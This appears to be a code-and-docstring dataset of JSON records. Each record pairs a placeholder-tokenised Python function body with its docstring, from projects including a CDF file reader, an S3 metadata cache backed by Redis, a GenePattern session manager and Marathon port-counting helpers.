{"signature": "def _read_all_z_attribute_data(self):", "body": "self.meta = {}<EOL>max_entries = []<EOL>attr_nums = []<EOL>names = []<EOL>attr_names = []<EOL>names = self.var_attrs_info.keys()<EOL>num_z_attrs = len(names)<EOL>exp_attr_nums = []<EOL>for key in names:<EOL><INDENT>max_entries.append(self.var_attrs_info[key]['<STR_LIT>'])<EOL>attr_nums.append(self.var_attrs_info[key]['<STR_LIT>'])<EOL><DEDENT>attr_nums = np.array(attr_nums)<EOL>max_entries = np.array(max_entries)<EOL>info = fortran_cdf.z_attr_all_inquire(self.fname, attr_nums,<EOL>num_z_attrs, max_entries, <EOL>self._num_z_vars, len(self.fname))<EOL>status = info[<NUM_LIT:0>]<EOL>data_types = info[<NUM_LIT:1>]<EOL>num_elems = info[<NUM_LIT:2>]<EOL>entry_nums = info[<NUM_LIT:3>]<EOL>if status == <NUM_LIT:0>:<EOL><INDENT>for i, name in enumerate(names):<EOL><INDENT>self.var_attrs_info[name]['<STR_LIT>'] = data_types[i]<EOL>self.var_attrs_info[name]['<STR_LIT>'] = num_elems[i]<EOL>self.var_attrs_info[name]['<STR_LIT>'] = entry_nums[i]<EOL>exp_attr_nums.extend([self.var_attrs_info[name]['<STR_LIT>']] * len(entry_nums[i]))<EOL>attr_names.extend([name] * len(entry_nums[i]))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise IOError(fortran_cdf.statusreporter(status))<EOL><DEDENT>data_types = data_types.flatten()<EOL>num_elems = num_elems.flatten()<EOL>entry_nums = entry_nums.flatten()<EOL>attr_nums = np.array(exp_attr_nums)<EOL>idx, = np.where(entry_nums > <NUM_LIT:0>)<EOL>data_types = data_types[idx]<EOL>num_elems = num_elems[idx]<EOL>entry_nums = entry_nums[idx]<EOL>attr_nums = attr_nums[idx]<EOL>attr_names = np.array(attr_names)[idx]<EOL>var_names = [self.z_variable_names_by_num[i].rstrip() for i in entry_nums]<EOL>self._call_multi_fortran_z_attr(attr_names, data_types, num_elems,<EOL>entry_nums, attr_nums, var_names, self.cdf_data_types['<STR_LIT>'],<EOL>fortran_cdf.get_multi_z_attr_real4)<EOL>self._call_multi_fortran_z_attr(attr_names, data_types, num_elems,<EOL>entry_nums, attr_nums, var_names, self.cdf_data_types['<STR_LIT:float>'],<EOL>fortran_cdf.get_multi_z_attr_real4)<EOL>self._call_multi_fortran_z_attr(attr_names, data_types, num_elems,<EOL>entry_nums, attr_nums, var_names, self.cdf_data_types['<STR_LIT>'],<EOL>fortran_cdf.get_multi_z_attr_real8)<EOL>self._call_multi_fortran_z_attr(attr_names, data_types, num_elems,<EOL>entry_nums, attr_nums, var_names, self.cdf_data_types['<STR_LIT>'],<EOL>fortran_cdf.get_multi_z_attr_real8)<EOL>self._call_multi_fortran_z_attr(attr_names, data_types, num_elems,<EOL>entry_nums, attr_nums, var_names, self.cdf_data_types['<STR_LIT>'],<EOL>fortran_cdf.get_multi_z_attr_int1)<EOL>self._call_multi_fortran_z_attr(attr_names, data_types, num_elems,<EOL>entry_nums, attr_nums, var_names, self.cdf_data_types['<STR_LIT>'],<EOL>fortran_cdf.get_multi_z_attr_int1)<EOL>self._call_multi_fortran_z_attr(attr_names, data_types, num_elems,<EOL>entry_nums, attr_nums, var_names, self.cdf_data_types['<STR_LIT>'],<EOL>fortran_cdf.get_multi_z_attr_int1,<EOL>data_offset=<NUM_LIT>)<EOL>self._call_multi_fortran_z_attr(attr_names, data_types, num_elems,<EOL>entry_nums, attr_nums, var_names, self.cdf_data_types['<STR_LIT>'],<EOL>fortran_cdf.get_multi_z_attr_int2)<EOL>self._call_multi_fortran_z_attr(attr_names, data_types, num_elems,<EOL>entry_nums, attr_nums, var_names, self.cdf_data_types['<STR_LIT>'],<EOL>fortran_cdf.get_multi_z_attr_int2,<EOL>data_offset=<NUM_LIT>)<EOL>self._call_multi_fortran_z_attr(attr_names, data_types, num_elems,<EOL>entry_nums, attr_nums, var_names, self.cdf_data_types['<STR_LIT>'],<EOL>fortran_cdf.get_multi_z_attr_int4)<EOL>self._call_multi_fortran_z_attr(attr_names, data_types, num_elems,<EOL>entry_nums, attr_nums, var_names, self.cdf_data_types['<STR_LIT>'],<EOL>fortran_cdf.get_multi_z_attr_int4,<EOL>data_offset=<NUM_LIT:2> ** <NUM_LIT:32>)<EOL>self._call_multi_fortran_z_attr(attr_names, data_types, num_elems,<EOL>entry_nums, attr_nums, var_names, self.cdf_data_types['<STR_LIT>'],<EOL>fortran_cdf.get_multi_z_attr_char)<EOL>self._call_multi_fortran_z_attr(attr_names, data_types, num_elems,<EOL>entry_nums, attr_nums, var_names, self.cdf_data_types['<STR_LIT>'],<EOL>fortran_cdf.get_multi_z_attr_char)<EOL>", "docstring": "Read all CDF z-attribute data", "id": "f13658:c0:m10"}
{"signature": "def _call_multi_fortran_z_attr(self, names, data_types, num_elems,<EOL>entry_nums, attr_nums, var_names,<EOL>input_type_code, func, data_offset=None):", "body": "<EOL>idx, = np.where(data_types == input_type_code)<EOL>if len(idx) > <NUM_LIT:0>:<EOL><INDENT>max_num = num_elems[idx].max()<EOL>sub_num_elems = num_elems[idx]<EOL>sub_names = np.array(names)[idx]<EOL>sub_var_names = np.array(var_names)[idx]<EOL>sub_entry_nums = entry_nums[idx]<EOL>sub_attr_nums = attr_nums[idx]<EOL>status, data = func(self.fname, sub_attr_nums, sub_entry_nums,<EOL>len(sub_attr_nums), max_num, len(self.fname))<EOL>if (status == <NUM_LIT:0>).all():<EOL><INDENT>if data_offset is not None:<EOL><INDENT>data = data.astype(int)<EOL>idx, idy, = np.where(data < <NUM_LIT:0>)<EOL>data[idx, idy] += data_offset<EOL><DEDENT>self._process_return_multi_z_attr(data, sub_names,<EOL>sub_var_names, sub_num_elems)<EOL><DEDENT>else:<EOL><INDENT>idx, = np.where(status != <NUM_LIT:0>)<EOL>raise IOError(fortran_cdf.statusreporter(status[idx][<NUM_LIT:0>]))<EOL><DEDENT><DEDENT>", "docstring": "Calls Fortran function that reads attribute data.\n\n        data_offset translates unsigned into signed.\n        If number read in is negative, offset added.", "id": "f13658:c0:m11"}
{"signature": "def _process_return_multi_z_attr(self, data, attr_names, var_names, sub_num_elems):", "body": "<EOL>for i, (attr_name, var_name, num_e) in enumerate(zip(attr_names, var_names, sub_num_elems)):<EOL><INDENT>if var_name not in self.meta.keys():<EOL><INDENT>self.meta[var_name] = {}<EOL><DEDENT>if num_e == <NUM_LIT:1>:<EOL><INDENT>self.meta[var_name][attr_name] = data[i, <NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>if data[i].dtype == '<STR_LIT>':<EOL><INDENT>self.meta[var_name][attr_name] = '<STR_LIT>'.join(data[i, <NUM_LIT:0>:num_e].astype('<STR_LIT>')).rstrip()<EOL><DEDENT>else:<EOL><INDENT>self.meta[var_name][attr_name] = data[i, <NUM_LIT:0>:num_e]<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "process and attach data from fortran_cdf.get_multi_*", "id": "f13658:c0:m12"}
{"signature": "def to_pysat(self, flatten_twod=True, units_label='<STR_LIT>', name_label='<STR_LIT>',<EOL>fill_label='<STR_LIT>', plot_label='<STR_LIT>', <EOL>min_label='<STR_LIT>', max_label='<STR_LIT>', <EOL>notes_label='<STR_LIT>', desc_label='<STR_LIT>',<EOL>axis_label = '<STR_LIT>'):", "body": "import string<EOL>import pysat<EOL>import pandas<EOL>cdata = self.data.copy()<EOL>meta = pysat.Meta(pysat.DataFrame.from_dict(self.meta, orient='<STR_LIT:index>'),<EOL>units_label=units_label, name_label=name_label,<EOL>fill_label=fill_label, plot_label=plot_label,<EOL>min_label=min_label, max_label=max_label,<EOL>notes_label=notes_label, desc_label=desc_label,<EOL>axis_label=axis_label)<EOL>lower_names = [name.lower() for name in meta.keys()] <EOL>for name, true_name in zip(lower_names, meta.keys()):<EOL><INDENT>if name == '<STR_LIT>':<EOL><INDENT>meta.data.rename(index={true_name: '<STR_LIT>'}, inplace=True)<EOL>epoch = cdata.pop(true_name)<EOL>cdata['<STR_LIT>'] = epoch<EOL><DEDENT><DEDENT>two_d_data = []<EOL>drop_list = []<EOL>for name in cdata.keys():<EOL><INDENT>temp = np.shape(cdata[name])<EOL>if len(temp) == <NUM_LIT:2>:<EOL><INDENT>if not flatten_twod:<EOL><INDENT>frame = pysat.DataFrame(cdata[name].flatten(), columns=[name])<EOL>drop_list.append(name)<EOL>step = temp[<NUM_LIT:0>]<EOL>new_list = []<EOL>new_index = np.arange(step)<EOL>for i in np.arange(len(epoch)):<EOL><INDENT>new_list.append(frame.iloc[i*step:(i+<NUM_LIT:1>)*step, :])<EOL>new_list[-<NUM_LIT:1>].index = new_index<EOL><DEDENT>new_frame = pandas.Series(new_list, index=epoch, name=name)<EOL>two_d_data.append(new_frame)<EOL><DEDENT>else:<EOL><INDENT>new_names = [name + '<STR_LIT>'.format(i=i) for i in np.arange(temp[<NUM_LIT:0>] - <NUM_LIT:2>)]<EOL>new_names.append(name + '<STR_LIT>')<EOL>new_names.insert(<NUM_LIT:0>, name)<EOL>drop_list.append(name)<EOL>frame = pysat.DataFrame(cdata[name].T,<EOL>index=epoch,<EOL>columns=new_names)<EOL>two_d_data.append(frame)<EOL><DEDENT><DEDENT><DEDENT>for name in drop_list:<EOL><INDENT>_ = cdata.pop(name)<EOL><DEDENT>data = pysat.DataFrame(cdata, index=epoch)<EOL>two_d_data.append(data)<EOL>data = pandas.concat(two_d_data, axis=<NUM_LIT:1>)<EOL>data.drop('<STR_LIT>', axis=<NUM_LIT:1>, inplace=True)<EOL>return data, meta<EOL>", "docstring": "Exports loaded CDF data into data, meta for pysat module\n\nNotes\n-----\nThe *_labels should be set to the values in the file, if present.\nNote that once the meta object returned from this function is attached\nto a pysat.Instrument object then the *_labels on the Instrument\nare assigned to the newly attached Meta object.\n\nThe pysat Meta object will use data with labels that match the patterns\nin *_labels even if the case does not match.\n\nParameters\n----------\nflatten_twod : bool (True)\n    If True, then two dimensional data is flattened across \n    columns. Name mangling is used to group data, first column\n    is 'name', last column is 'name_end'. In between numbers are \n    appended 'name_1', 'name_2', etc. All data for a given 2D array\n    may be accessed via, data.ix[:,'item':'item_end']\n    If False, then 2D data is stored as a series of DataFrames, \n    indexed by Epoch. data.ix[0, 'item']\nunits_label : str\n    Identifier within metadata for units. Defults to CDAWab standard.\nname_label : str\n    Identifier within metadata for variable name. Defults to 'long_name',\n    not normally present within CDAWeb files. If not, will use values\n    from the variable name in the file.\nfill_label : str\n    Identifier within metadata for Fill Values. Defults to CDAWab standard.\nplot_label : str\n    Identifier within metadata for variable name used when plotting.\n    Defults to CDAWab standard.\nmin_label : str\n    Identifier within metadata for minimim variable value. \n    Defults to CDAWab standard.\nmax_label : str\n    Identifier within metadata for maximum variable value.\n    Defults to CDAWab standard.\nnotes_label : str\n    Identifier within metadata for notes. Defults to CDAWab standard.\ndesc_label : str\n    Identifier within metadata for a variable description.\n    Defults to CDAWab standard.\naxis_label : str\n    Identifier within metadata for axis name used when plotting. \n    Defults to CDAWab standard.\n\n\nReturns\n-------\npandas.DataFrame, pysat.Meta\n    Data and Metadata suitable for attachment to a pysat.Instrument\n    object.", "id": "f13658:c0:m13"}
{"signature": "def setup(self):", "body": "<EOL>", "docstring": "Runs before every method to create a clean testing setup.", "id": "f13659:c0:m0"}
{"signature": "def teardown(self):", "body": "<EOL>", "docstring": "Runs after every method to clean up previous testing.", "id": "f13659:c0:m1"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "kwargs['<STR_LIT>'] = Bucket<EOL>super(S3Connection, self).__init__(*args, **kwargs)<EOL>", "docstring": "Set the base class for bucket objects created in the connection to\n        the MimicDB bucket class.", "id": "f13661:c0:m0"}
{"signature": "def get_all_buckets(self, *args, **kwargs):", "body": "if kwargs.pop('<STR_LIT>', None):<EOL><INDENT>buckets = super(S3Connection, self).get_all_buckets(*args, **kwargs)<EOL>for bucket in buckets:<EOL><INDENT>mimicdb.backend.sadd(tpl.connection, bucket.name)<EOL><DEDENT>return buckets<EOL><DEDENT>return [Bucket(self, bucket) for bucket in mimicdb.backend.smembers(tpl.connection)]<EOL>", "docstring": "Return a list of buckets in MimicDB.\n\n        :param boolean force: If true, API call is forced to S3", "id": "f13661:c0:m1"}
{"signature": "def get_bucket(self, bucket_name, validate=True, headers=None, force=None):", "body": "if force:<EOL><INDENT>bucket = super(S3Connection, self).get_bucket(bucket_name, validate, headers)<EOL>mimicdb.backend.sadd(tpl.connection, bucket.name)<EOL>return bucket<EOL><DEDENT>if mimicdb.backend.sismember(tpl.connection, bucket_name):<EOL><INDENT>return Bucket(self, bucket_name)<EOL><DEDENT>else:<EOL><INDENT>if validate:<EOL><INDENT>raise S3ResponseError(<NUM_LIT>, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>return Bucket(self, bucket_name)<EOL><DEDENT><DEDENT>", "docstring": "Return a bucket from MimicDB if it exists. Return a\n        S3ResponseError if the bucket does not exist and validate is passed.\n\n        :param boolean force: If true, API call is forced to S3", "id": "f13661:c0:m2"}
{"signature": "def create_bucket(self, *args, **kwargs):", "body": "bucket = super(S3Connection, self).create_bucket(*args, **kwargs)<EOL>if bucket:<EOL><INDENT>mimicdb.backend.sadd(tpl.connection, bucket.name)<EOL><DEDENT>return bucket<EOL>", "docstring": "Add the bucket to MimicDB after successful creation.", "id": "f13661:c0:m3"}
{"signature": "def delete_bucket(self, *args, **kwargs):", "body": "super(S3Connection, self).delete_bucket(*args, **kwargs)<EOL>bucket = kwargs.get('<STR_LIT>', args[<NUM_LIT:0>] if args else None)<EOL>if bucket:<EOL><INDENT>mimicdb.backend.srem(tpl.connection, bucket)<EOL><DEDENT>", "docstring": "Delete the bucket on S3 before removing it from MimicDB.\n        If the delete fails (usually because the bucket is not empty), do\n        not remove the bucket from the set.", "id": "f13661:c0:m4"}
{"signature": "def sync(self, *buckets):", "body": "if buckets:<EOL><INDENT>for _bucket in buckets:<EOL><INDENT>for key in mimicdb.backend.smembers(tpl.bucket % _bucket):<EOL><INDENT>mimicdb.backend.delete(tpl.key % (_bucket, key))<EOL><DEDENT>mimicdb.backend.delete(tpl.bucket % _bucket)<EOL>bucket = self.get_bucket(_bucket, force=True)<EOL>for key in bucket.list(force=True):<EOL><INDENT>mimicdb.backend.sadd(tpl.bucket % bucket.name, key.name)<EOL>mimicdb.backend.hmset(tpl.key % (bucket.name, key.name), dict(size=key.size, md5=key.etag.strip('<STR_LIT:\">')))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for bucket in mimicdb.backend.smembers(tpl.connection):<EOL><INDENT>for key in mimicdb.backend.smembers(tpl.bucket % bucket):<EOL><INDENT>mimicdb.backend.delete(tpl.key % (bucket, key))<EOL><DEDENT>mimicdb.backend.delete(tpl.bucket % bucket)<EOL><DEDENT>for bucket in self.get_all_buckets(force=True):<EOL><INDENT>for key in bucket.list(force=True):<EOL><INDENT>mimicdb.backend.sadd(tpl.bucket % bucket.name, key.name)<EOL>mimicdb.backend.hmset(tpl.key % (bucket.name, key.name), dict(size=key.size, md5=key.etag.strip('<STR_LIT:\">')))<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Sync either a list of buckets or the entire connection.\n\n        Force all API calls to S3 and populate the database with the current\n        state of S3.\n\n        :param \\*string \\*buckets: Buckets to sync", "id": "f13661:c0:m5"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "bucket = kwargs.get('<STR_LIT>', args[<NUM_LIT:0>] if args else None)<EOL>name = kwargs.get('<STR_LIT:name>', args[<NUM_LIT:1>] if len(args) > <NUM_LIT:1> else None)<EOL>self._name = name<EOL>if name and bucket:<EOL><INDENT>meta = mimicdb.backend.hgetall(tpl.key % (bucket.name, name))<EOL>if meta:<EOL><INDENT>mimicdb.backend.sadd(tpl.bucket % bucket.name, name)<EOL>self._load_meta(meta['<STR_LIT:size>'], meta['<STR_LIT>'])<EOL><DEDENT><DEDENT>super(Key, self).__init__(*args, **kwargs)<EOL>", "docstring": "Add the key to the bucket set if the key name is set and metadata is\n        available for it, otherwise wait until uploaded or downloaded.", "id": "f13662:c0:m0"}
{"signature": "def _load_meta(self, size, md5):", "body": "if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self.local_hashes = {}<EOL><DEDENT>self.size = int(size)<EOL>if (re.match('<STR_LIT>', md5)):<EOL><INDENT>self.md5 = md5<EOL><DEDENT>", "docstring": "Set key attributes to retrived metadata. Might be extended in the\n        future to support more attributes.", "id": "f13662:c0:m1"}
{"signature": "@name.setter<EOL><INDENT>def name(self, value):<DEDENT>", "body": "self._name = value<EOL>if value:<EOL><INDENT>meta = mimicdb.backend.hgetall(tpl.key % (self.bucket.name, value))<EOL>if meta:<EOL><INDENT>mimicdb.backend.sadd(tpl.bucket % self.bucket.name, value)<EOL>self._load_meta(meta['<STR_LIT:size>'], meta['<STR_LIT>'])<EOL><DEDENT><DEDENT>", "docstring": "Key name can be set by Key.key or Key.name. Key.key sets Key.name\n        internally, so just handle this property. When changing the key\n        name, try to load it's metadata from MimicDB. If it's not available,\n        the key hasn't been uploaded, downloaded or synced so don't add it to\n        the bucket set (it also might have just been deleted,\n        see boto.s3.bucket.py#785)", "id": "f13662:c0:m3"}
{"signature": "def _send_file_internal(self, *args, **kwargs):", "body": "super(Key, self)._send_file_internal(*args, **kwargs)<EOL>mimicdb.backend.sadd(tpl.bucket % self.bucket.name, self.name)<EOL>mimicdb.backend.hmset(tpl.key % (self.bucket.name, self.name),<EOL>dict(size=self.size, md5=self.md5))<EOL>", "docstring": "Called internally for any type of upload. After upload finishes,\n        make sure the key is in the bucket set and save the metadata.", "id": "f13662:c0:m4"}
{"signature": "def _get_file_internal(self, *args, **kwargs):", "body": "super(Key, self)._get_file_internal(*args, **kwargs)<EOL>mimicdb.backend.sadd(tpl.bucket % self.bucket.name, self.name)<EOL>mimicdb.backend.hmset(tpl.key % (self.bucket.name, self.name),<EOL>dict(size=self.size, md5=self.md5))<EOL>", "docstring": "Called internally for any type of download. After download finishes,\n        make sure the key is in the bucket set and save the metadata.", "id": "f13662:c0:m5"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "kwargs['<STR_LIT>'] = Key<EOL>super(Bucket, self).__init__(*args, **kwargs)<EOL>", "docstring": "Set the class for key objects created in the bucket to the MimicDB\n        key class.", "id": "f13663:c0:m0"}
{"signature": "def __iter__(self, *args, **kwargs):", "body": "return self.list()<EOL>", "docstring": "__iter__ can not be forced to check S3, so return an iterable of\n        keys from MimicDB.", "id": "f13663:c0:m1"}
{"signature": "def get_key(self, *args, **kwargs):", "body": "if kwargs.pop('<STR_LIT>', None):<EOL><INDENT>headers = kwargs.get('<STR_LIT>', {})<EOL>headers['<STR_LIT>'] = True<EOL>kwargs['<STR_LIT>'] = headers<EOL><DEDENT>return super(Bucket, self).get_key(*args, **kwargs)<EOL>", "docstring": "Return the key from MimicDB.\n\n        :param boolean force: If true, API call is forced to S3", "id": "f13663:c0:m2"}
{"signature": "def _get_key_internal(self, *args, **kwargs):", "body": "if args[<NUM_LIT:1>] is not None and '<STR_LIT>' in args[<NUM_LIT:1>]:<EOL><INDENT>key, res = super(Bucket, self)._get_key_internal(*args, **kwargs)<EOL>if key:<EOL><INDENT>mimicdb.backend.sadd(tpl.bucket % self.name, key.name)<EOL>mimicdb.backend.hmset(tpl.key % (self.name, key.name),<EOL>dict(size=key.size,<EOL>md5=key.etag.strip('<STR_LIT:\">')))<EOL><DEDENT>return key, res<EOL><DEDENT>key = None<EOL>if mimicdb.backend.sismember(tpl.bucket % self.name, args[<NUM_LIT:0>]):<EOL><INDENT>key = Key(self)<EOL>key.name = args[<NUM_LIT:0>]<EOL><DEDENT>return key, None<EOL>", "docstring": "Return None if key is not in the bucket set.\n\n        Pass 'force' in the headers to check S3 for the key, and after fetching\n        the key from S3, save the metadata and key to the bucket set.", "id": "f13663:c0:m3"}
{"signature": "def get_all_keys(self, *args, **kwargs):", "body": "if kwargs.pop('<STR_LIT>', None):<EOL><INDENT>headers = kwargs.get('<STR_LIT>', args[<NUM_LIT:0>] if len(args) else None) or dict()<EOL>headers['<STR_LIT>'] = True<EOL>kwargs['<STR_LIT>'] = headers<EOL><DEDENT>return super(Bucket, self).get_all_keys(*args, **kwargs)<EOL>", "docstring": "Return a list of keys from MimicDB.\n\n        :param boolean force: If true, API call is forced to S3", "id": "f13663:c0:m4"}
{"signature": "def delete_keys(self, *args, **kwargs):", "body": "ikeys = iter(kwargs.get('<STR_LIT>', args[<NUM_LIT:0>] if args else []))<EOL>while True:<EOL><INDENT>try:<EOL><INDENT>key = ikeys.next()<EOL><DEDENT>except StopIteration:<EOL><INDENT>break<EOL><DEDENT>if isinstance(key, basestring):<EOL><INDENT>mimicdb.backend.srem(tpl.bucket % self.name, key)<EOL>mimicdb.backend.delete(tpl.key % (self.name, key))<EOL><DEDENT>elif isinstance(key, BotoKey) or isinstance(key, Key):<EOL><INDENT>mimicdb.backend.srem(tpl.bucket % self.name, key.name)<EOL>mimicdb.backend.delete(tpl.key % (self.name, key.name))<EOL><DEDENT><DEDENT>return super(Bucket, self).delete_keys(*args, **kwargs)<EOL>", "docstring": "Remove each key or key name in an iterable from the bucket set.", "id": "f13663:c0:m5"}
{"signature": "def _delete_key_internal(self, *args, **kwargs):", "body": "mimicdb.backend.srem(tpl.bucket % self.name, args[<NUM_LIT:0>])<EOL>mimicdb.backend.delete(tpl.key % (self.name, args[<NUM_LIT:0>]))<EOL>return super(Bucket, self)._delete_key_internal(*args, **kwargs)<EOL>", "docstring": "Remove key name from bucket set.", "id": "f13663:c0:m6"}
{"signature": "def list(self, *args, **kwargs):", "body": "if kwargs.pop('<STR_LIT>', None):<EOL><INDENT>headers = kwargs.get('<STR_LIT>', args[<NUM_LIT:4>] if len(args) > <NUM_LIT:4> else None) or dict()<EOL>headers['<STR_LIT>'] = True<EOL>kwargs['<STR_LIT>'] = headers<EOL>for key in super(Bucket, self).list(*args, **kwargs):<EOL><INDENT>yield key<EOL><DEDENT><DEDENT>else:<EOL><INDENT>prefix = kwargs.get('<STR_LIT>', args[<NUM_LIT:0>] if args else '<STR_LIT>')<EOL>for key in mimicdb.backend.smembers(tpl.bucket % self.name):<EOL><INDENT>if key.startswith(prefix):<EOL><INDENT>k = Key(self, key)<EOL>meta = mimicdb.backend.hgetall(tpl.key % (self.name, key))<EOL>if meta:<EOL><INDENT>k._load_meta(meta['<STR_LIT:size>'], meta['<STR_LIT>'])<EOL><DEDENT>yield k<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Return an iterable of keys from MimicDB.\n\n        :param boolean force: If true, API call is forced to S3", "id": "f13663:c0:m7"}
{"signature": "def _get_all(self, *args, **kwargs):", "body": "headers = kwargs.get('<STR_LIT>', args[<NUM_LIT:2>] if len(args) > <NUM_LIT:2> else None) or dict()<EOL>if '<STR_LIT>' in headers:<EOL><INDENT>keys = super(Bucket, self)._get_all(*args, **kwargs)<EOL>for key in keys:<EOL><INDENT>mimicdb.backend.sadd(tpl.bucket % self.name, key.name)<EOL>mimicdb.backend.hmset(tpl.key % (self.name, key.name), dict(size=key.size, md5=key.etag.strip('<STR_LIT:\">')))<EOL>key.name = key.name<EOL><DEDENT>return keys<EOL><DEDENT>prefix = kwargs.get('<STR_LIT>', '<STR_LIT>')<EOL>return list(self.list(prefix=prefix))<EOL>", "docstring": "If 'force' is in the headers, retrieve the list of keys from S3.\n        Otherwise, use the list() function to retrieve the keys from MimicDB.", "id": "f13663:c0:m8"}
{"signature": "def sync(self):", "body": "for key in mimicdb.backend.smembers(tpl.bucket % self.name):<EOL><INDENT>mimicdb.backend.delete(tpl.key % (self.name, key))<EOL><DEDENT>mimicdb.backend.delete(tpl.bucket % self.name)<EOL>mimicdb.backend.sadd(tpl.connection, self.name)<EOL>for key in self.list(force=True):<EOL><INDENT>mimicdb.backend.sadd(tpl.bucket % self.name, key.name)<EOL>mimicdb.backend.hmset(tpl.key % (self.name, key.name), dict(size=key.size, md5=key.etag.strip('<STR_LIT:\">')))<EOL><DEDENT>", "docstring": "Sync a bucket.\n\n        Force all API calls to S3 and populate the database with the current state of S3.", "id": "f13663:c0:m9"}
{"signature": "def __init__(self, backend=None, namespace=None):", "body": "if not backend:<EOL><INDENT>from .backends.default import Redis<EOL>backend = Redis()<EOL><DEDENT>globals()['<STR_LIT>'] = backend<EOL>if namespace:<EOL><INDENT>from .backends import tpl<EOL>tpl.set_namespace(namespace)<EOL><DEDENT>", "docstring": "Initialze the MimicDB backend with an optional namespace.", "id": "f13664:c0:m0"}
{"signature": "def display(content):", "body": "if isinstance(content, gp.GPServer):<EOL><INDENT>IPython.display.display(GPAuthWidget(content))<EOL><DEDENT>elif isinstance(content, gp.GPTask):<EOL><INDENT>IPython.display.display(GPTaskWidget(content))<EOL><DEDENT>elif isinstance(content, gp.GPJob):<EOL><INDENT>IPython.display.display(GPJobWidget(content))<EOL><DEDENT>else:<EOL><INDENT>IPython.display.display(content)<EOL><DEDENT>", "docstring": "Display a widget, text or other media in a notebook without the need to import IPython at the top level.\n\nAlso handles wrapping GenePattern Python Library content in widgets.\n:param content:\n:return:", "id": "f13676:m2"}
{"signature": "def register(self, server, username, password):", "body": "<EOL>session = gp.GPServer(server, username, password)<EOL>valid_username = username != \"<STR_LIT>\" and username is not None<EOL>index = self._get_index(server)<EOL>new_server = index == -<NUM_LIT:1><EOL>if valid_username and new_server:<EOL><INDENT>self.sessions.append(session)<EOL><DEDENT>if valid_username and not new_server:<EOL><INDENT>self.sessions[index] = session<EOL><DEDENT>return session<EOL>", "docstring": "Register a new GenePattern server session for the provided\nserver, username and password. Return the session.\n:param server:\n:param username:\n:param password:\n:return:", "id": "f13676:c0:m0"}
{"signature": "def get(self, server):", "body": "<EOL>if isinstance(server, int):<EOL><INDENT>if server >= len(self.sessions):<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>return self.sessions[server]<EOL><DEDENT><DEDENT>index = self._get_index(server)<EOL>if index == -<NUM_LIT:1>:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>return self.sessions[index]<EOL><DEDENT>", "docstring": "Returns a registered GPServer object with a matching GenePattern server url or index\nReturns None if no matching result was found\n:param server:\n:return:", "id": "f13676:c0:m1"}
{"signature": "def clean(self):", "body": "self.sessions = []<EOL>", "docstring": "Clear all GenePattern sessions from the sessions list\n:return:", "id": "f13676:c0:m2"}
{"signature": "def _get_index(self, server_url):", "body": "for i in range(len(self.sessions)):<EOL><INDENT>session = self.sessions[i]<EOL>if session.url == server_url:<EOL><INDENT>return i<EOL><DEDENT><DEDENT>return -<NUM_LIT:1><EOL>", "docstring": "Returns a registered GPServer object with a matching GenePattern server url\nReturns -1 if no matching result was found\n:param server_url:\n:return:", "id": "f13676:c0:m3"}
{"signature": "def get_data_files():", "body": "return [<EOL>('<STR_LIT>', [<EOL>'<STR_LIT>',<EOL>]),<EOL>('<STR_LIT>',<EOL>['<STR_LIT>' + f for f in os.listdir('<STR_LIT>')]<EOL>),<EOL>('<STR_LIT>', ['<STR_LIT>']),<EOL>]<EOL>", "docstring": "Get the data files for the package.", "id": "f13679:m0"}
{"signature": "def get_number_of_app_ports(app):", "body": "mode = _get_networking_mode(app)<EOL>ports_list = None<EOL>if mode == '<STR_LIT:host>':<EOL><INDENT>ports_list = _get_port_definitions(app)<EOL><DEDENT>elif mode == '<STR_LIT>':<EOL><INDENT>ports_list = _get_port_definitions(app)<EOL>if ports_list is None:<EOL><INDENT>ports_list = _get_container_port_mappings(app)<EOL><DEDENT><DEDENT>elif mode == '<STR_LIT>':<EOL><INDENT>ports_list = _get_ip_address_discovery_ports(app)<EOL>if not ports_list:<EOL><INDENT>ports_list = _get_container_port_mappings(app)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise RuntimeError(<EOL>\"<STR_LIT>\".format(mode))<EOL><DEDENT>return len(ports_list)<EOL>", "docstring": "Get the number of ports for the given app JSON. This roughly follows the\nlogic in marathon-lb for finding app IPs/ports, although we are only\ninterested in the quantity of ports an app should have and don't consider\nthe specific IPs/ports of individual tasks:\nhttps://github.com/mesosphere/marathon-lb/blob/v1.10.3/utils.py#L393-L415\n\n:param app: The app JSON from the Marathon API.\n:return: The number of ports for the app.", "id": "f13680:m0"}
{"signature": "def _get_networking_mode(app):", "body": "<EOL>networks = app.get('<STR_LIT>')<EOL>if networks:<EOL><INDENT>return networks[-<NUM_LIT:1>].get('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>container = app.get('<STR_LIT>')<EOL>if container is not None and '<STR_LIT>' in container:<EOL><INDENT>docker_network = container['<STR_LIT>'].get('<STR_LIT>')<EOL>if docker_network == '<STR_LIT>':<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>elif docker_network == '<STR_LIT>':<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT><DEDENT>return '<STR_LIT>' if _is_legacy_ip_per_task(app) else '<STR_LIT:host>'<EOL>", "docstring": "Get the Marathon networking mode for the app.", "id": "f13680:m1"}
{"signature": "def _get_container_port_mappings(app):", "body": "container = app['<STR_LIT>']<EOL>port_mappings = container.get('<STR_LIT>')<EOL>if port_mappings is None and '<STR_LIT>' in container:<EOL><INDENT>port_mappings = container['<STR_LIT>'].get('<STR_LIT>')<EOL><DEDENT>return port_mappings<EOL>", "docstring": "Get the ``portMappings`` field for the app container.", "id": "f13680:m2"}
{"signature": "def _get_port_definitions(app):", "body": "if '<STR_LIT>' in app:<EOL><INDENT>return app['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in app:<EOL><INDENT>return app['<STR_LIT>']<EOL><DEDENT>return None<EOL>", "docstring": "Get the ``portDefinitions`` field for the app if present.", "id": "f13680:m3"}
